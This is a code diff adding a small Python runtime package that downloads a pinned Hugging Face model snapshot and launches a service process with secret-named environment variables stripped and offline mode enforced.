+ from .errors import Cause, QSIVDiagnostic, QSIVUnavailable
8
+ from .setup import setup
9
+
10
+ __version__ = "0.1.0"
11
+
12
+ __all__ = [
13
+ "Cause",
14
+ "QSIVClient",
15
+ "QSIVDiagnostic",
16
+ "QSIVUnavailable",
17
+ "__version__",
18
+ "doctor",
19
+ "setup",
20
+ ]
@@ -0,0 +1,8 @@
1
+ from __future__ import annotations
2
+
3
+ import sys
4
+
5
+ from .cli import main
6
+
7
+ if __name__ == "__main__":
8
+ sys.exit(main())
@@ -0,0 +1,37 @@
1
+ """Runs inside the GPU virtualenv (where huggingface_hub is installed): fetch the pinned snapshot.
2
+
3
+ This is the only code that downloads, and only `qsiv-runtime setup` runs it."""
4
+
5
+ from __future__ import annotations
6
+
7
+ import sys
8
+ from pathlib import Path
9
+
10
+ from ._pins import QSIV_REVISION
11
+
12
+ ALLOW_PATTERNS = [
13
+ "qsiv/*",
14
+ "tokenizer/*",
15
+ "pyproject.toml",
16
+ "LICENSE",
17
+ "NOTICE",
18
+ "config.json",
19
+ "calibration.json",
20
+ "qsiv_fp8.safetensors",
21
+ "qsiv_fp8.safetensors.sha256",
22
+ ]
23
+
24
+
25
+ def download(directory: Path) -> None:
26
+ from huggingface_hub import snapshot_download
27
+
28
+ snapshot_download(
29
+ "djinn-san/QSIV",
30
+ revision=QSIV_REVISION,
31
+ local_dir=str(directory),
32
+ allow_patterns=ALLOW_PATTERNS,
33
+ )
34
+
35
+
36
+ if __name__ == "__main__":
37
+ download(Path(sys.argv[1]))
@@ -0,0 +1,61 @@
1
+ """How the service process is launched: a scrubbed environment and a minimal PYTHONPATH."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import os
6
+ import re
7
+ from collections.abc import Mapping
8
+ from pathlib import Path
9
+ from typing import Final
10
+
11
+ from .paths import ENV_SOCKET_DIRECTORY
12
+
13
+ _SECRET_WORDS: Final = (
14
+ "API_KEY",
15
+ "APIKEY",
16
+ "TOKEN",
17
+ "SECRET",
18
+ "PASSWORD",
19
+ "PASSWD",
20
+ "CREDENTIAL",
21
+ "PRIVATE_KEY",
22
+ "ACCESS_KEY",
23
+ )
24
+ _SECRET_SEGMENT: Final = "AUTH"
25
+ PACKAGE_DIRECTORY: Final = Path(__file__).resolve().parent
26
+
27
+
28
+ def stage_package(directory: Path) -> Path:
29
+ """A directory holding only a `qsiv_runtime` symlink, for PYTHONPATH (Q12).
30
+
31
+ The package's own parent directory cannot be used: for a wheel install it is the host
32
+ environment's whole site-packages, which would shadow the pinned packages of the GPU
33
+ environment. The symlink is replaced atomically, so concurrent launches are safe."""
34
+ directory.mkdir(mode=0o700, parents=True, exist_ok=True)
35
+ link = directory / "qsiv_runtime"
36
+ if not (link.is_symlink() and link.resolve() == PACKAGE_DIRECTORY):
37
+ pending = directory / f".qsiv_runtime.{os.getpid()}"
38
+ pending.unlink(missing_ok=True)
39
+ pending.symlink_to(PACKAGE_DIRECTORY, target_is_directory=True)
40
+ os.replace(pending, link)
41
+ return directory
42
+
43
+
44
+ def is_secret_name(name: str) -> bool:
45
+ """The scrub rule (S26), case-insensitive: the name contains API_KEY, APIKEY, TOKEN, SECRET,
46
+ PASSWORD, PASSWD, CREDENTIAL, PRIVATE_KEY or ACCESS_KEY anywhere, or has a whole
47
+ `_`/`-`/`.`-separated segment equal to AUTH (SSH_AUTH_SOCK; AUTHOR and OAUTH_X stay)."""
48
+ upper = name.upper()
49
+ return any(w in upper for w in _SECRET_WORDS) or _SECRET_SEGMENT in re.split(r"[_.\-]", upper)
50
+
51
+
52
+ def build_service_env(environ: Mapping[str, str], socket_directory: Path) -> dict[str, str]:
53
+ """No secrets (S26), Hugging Face offline, only the staged package on PYTHONPATH (Q12: the GPU
54
+ virtualenv does not have qsiv_runtime installed), and PYTHONSAFEPATH so the working directory
55
+ is not put on sys.path (python >= 3.11; older interpreters ignore the variable)."""
56
+ env = {k: v for k, v in environ.items() if not is_secret_name(k)}
57
+ env.update(HF_HUB_OFFLINE="1", TRANSFORMERS_OFFLINE="1", PYTHONSAFEPATH="1")
58
+ env[ENV_SOCKET_DIRECTORY] = str(socket_directory)
59
+ staged = str(stage_package(socket_directory / "pythonpath"))
60
+ env["PYTHONPATH"] = staged # never the caller's PYTHONPATH: only the staged symlink directory
61
+ return env
@@ -0,0 +1,10 @@
1
+ """The pinned QSIV revision and weights checksum (copied from agemem)."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from typing import Final
6
+
7
+ QSIV_REVISION: Final = "f1ee842daf758c0ab535cf7d281c85439d6e4b25"
8
+ QSIV_SHA256: Final = "c44a08dafe091b0ed565a8efe511600b81e8f427feee56fc14c1d30d9466b9fc"
9
+ WEIGHTS_FP8: Final = "qsiv_fp8.safetensors"
10
+ WEIGHTS_REFERENCE: Final = "model.safetensors"